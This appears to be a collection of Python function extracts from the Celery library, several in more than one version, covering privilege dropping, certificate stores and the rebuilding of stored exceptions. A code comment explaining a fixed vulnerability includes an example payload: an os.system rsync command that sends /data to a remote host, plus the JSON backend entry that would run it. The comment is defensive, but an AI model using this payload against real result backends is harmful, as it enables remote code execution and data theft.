def maybe_drop_privileges(uid=None, gid=None): """Change process privileges to new user/group. If UID and GID is specified, the real user/group is changed. If only UID is specified, the real user is changed, and the group is changed to the users primary group. If only GID is specified, only the group is changed. """ if sys.platform == 'win32': return if os.geteuid(): # no point trying to setuid unless we're root. if not os.getuid(): raise SecurityError('contact support') uid = uid and parse_uid(uid) gid = gid and parse_gid(gid) if uid: _setuid(uid, gid) else: gid and setgid(gid) if uid and not os.getuid() and not os.geteuid(): raise SecurityError('Still root uid after drop privileges!') if gid and not os.getgid() and not os.getegid(): raise SecurityError('Still root gid after drop privileges!')
def check_privileges(accept_content): uid = os.getuid() if hasattr(os, 'getuid') else 65535 gid = os.getgid() if hasattr(os, 'getgid') else 65535 euid = os.geteuid() if hasattr(os, 'geteuid') else 65535 egid = os.getegid() if hasattr(os, 'getegid') else 65535 if hasattr(os, 'fchown'): if not all(hasattr(os, attr) for attr in ['getuid', 'getgid', 'geteuid', 'getegid']): raise SecurityError('suspicious platform, contact support') if not uid or not gid or not euid or not egid: if ('pickle' in accept_content or 'application/x-python-serialize' in accept_content): if not C_FORCE_ROOT: try: print(ROOT_DISALLOWED.format( uid=uid, euid=euid, gid=gid, egid=egid, ), file=sys.stderr) finally: sys.stderr.flush() os._exit(1) warnings.warn(RuntimeWarning(ROOT_DISCOURAGED.format( uid=uid, euid=euid, gid=gid, egid=egid, )))
def _setuid(uid, gid): # If GID isn't defined, get the primary GID of the user. if not gid and pwd: gid = pwd.getpwuid(uid).pw_gid # Must set the GID before initgroups(), as setgid() # is known to zap the group list on some platforms. # setgid must happen before setuid (otherwise the setgid operation # may fail because of insufficient privileges and possibly stay # in a privileged group). setgid(gid) initgroups(uid, gid) # at last: setuid(uid) # ... and make sure privileges cannot be restored: try: setuid(0) except OSError as exc: if exc.errno != errno.EPERM: raise # we should get here: cannot restore privileges, # everything was fine. else: raise SecurityError( 'non-root user able to restore privileges after setuid.')
def reraise_errors(msg='{0!r}', errors=None): assert crypto is not None errors = (crypto.Error, ) if errors is None else errors try: yield except errors as exc: raise SecurityError, SecurityError(msg.format(exc)), sys.exc_info()[2]
def reraise_errors(msg='%r', errors=None): assert crypto is not None errors = (crypto.Error, ) if errors is None else errors try: yield except errors, exc: raise SecurityError, SecurityError(msg % (exc, )), sys.exc_info()[2]
def reraise_errors(msg="{0!r}", errors=None): """Context reraising crypto errors as :exc:`SecurityError`.""" errors = (cryptography.exceptions, ) if errors is None else errors try: yield except errors as exc: reraise(SecurityError, SecurityError(msg.format(exc)), sys.exc_info()[2])
def reraise_errors(msg='{0!r}', errors=None): """Context reraising crypto errors as :exc:`SecurityError`.""" assert crypto is not None errors = (crypto.Error, ) if errors is None else errors try: yield except errors as exc: reraise(SecurityError, SecurityError(msg.format(exc)), sys.exc_info()[2])
def __init__(self, path): CertStore.__init__(self) if os.path.isdir(path): path = os.path.join(path, '*') for p in glob.glob(path): with open(p) as f: cert = Certificate(f.read()) if cert.has_expired(): raise SecurityError( 'Expired certificate: %r' % (cert.get_id(), )) self.add_cert(cert)
def __init__(self, path): super().__init__() if os.path.isdir(path): path = os.path.join(path, '*') for p in glob.glob(path): with open(p) as f: cert = Certificate(f.read()) if cert.has_expired(): raise SecurityError( f'Expired certificate: {cert.get_id()!r}') self.add_cert(cert)
def add_cert(self, cert): if cert.get_id() in self._certs: raise SecurityError('Duplicate certificate: %r' % (id, )) self._certs[cert.get_id()] = cert
def __getitem__(self, id): """get certificate by id""" try: return self._certs[id] except KeyError: raise SecurityError('Unknown certificate: %r' % (id, ))
def add_cert(self, cert): cert_id = bytes_to_str(cert.get_id()) if cert_id in self._certs: raise SecurityError('Duplicate certificate: {0!r}'.format(id)) self._certs[cert_id] = cert
def __getitem__(self, id): """Get certificate by id.""" try: return self._certs[bytes_to_str(id)] except KeyError: raise SecurityError('Unknown certificate: {0!r}'.format(id))
def add_cert(self, cert): if cert.get_id() in self._certs: raise SecurityError('Duplicate certificate: {0!r}'.format(id)) self._certs[cert.get_id()] = cert
def exception_to_python(self, exc): """Convert serialized exception to Python exception.""" if not exc: return None elif isinstance(exc, BaseException): if self.serializer in EXCEPTION_ABLE_CODECS: exc = get_pickled_exception(exc) return exc elif not isinstance(exc, dict): try: exc = dict(exc) except TypeError as e: raise TypeError(f"If the stored exception isn't an " f"instance of " f"BaseException, it must be a dictionary.\n" f"Instead got: {exc}") from e exc_module = exc.get('exc_module') try: exc_type = exc['exc_type'] except KeyError as e: raise ValueError("Exception information must include " "the exception type") from e if exc_module is None: cls = create_exception_cls( exc_type, __name__) else: try: # Load module and find exception class in that cls = sys.modules[exc_module] # The type can contain qualified name with parent classes for name in exc_type.split('.'): cls = getattr(cls, name) except (KeyError, AttributeError): cls = create_exception_cls(exc_type, celery.exceptions.__name__) exc_msg = exc.get('exc_message', '') # If the recreated exception type isn't indeed an exception, # this is a security issue. Without the condition below, an attacker # could exploit a stored command vulnerability to execute arbitrary # python code such as: # os.system("rsync /data [email protected]:~/data") # The attacker sets the task's result to a failure in the result # backend with the os as the module, the system function as the # exception type and the payload # rsync /data [email protected]:~/data # as the exception arguments like so: # { # "exc_module": "os", # "exc_type": "system", # "exc_message": "rsync /data [email protected]:~/data" # } if not isinstance(cls, type) or not issubclass(cls, BaseException): fake_exc_type = exc_type if exc_module is None else f'{exc_module}.{exc_type}' raise SecurityError( f"Expected an exception class, got {fake_exc_type} with payload {exc_msg}") # XXX: Without verifying `cls` is actually an exception class, # an attacker could execute arbitrary python code. # cls could be anything, even eval(). try: if isinstance(exc_msg, (tuple, list)): exc = cls(*exc_msg) else: exc = cls(exc_msg) except Exception as err: # noqa exc = Exception(f'{cls}({exc_msg})') return exc
def add_cert(self, cert): cert_id = bytes_to_str(cert.get_id()) if cert_id in self._certs: raise SecurityError(f'Duplicate certificate: {id!r}') self._certs[cert_id] = cert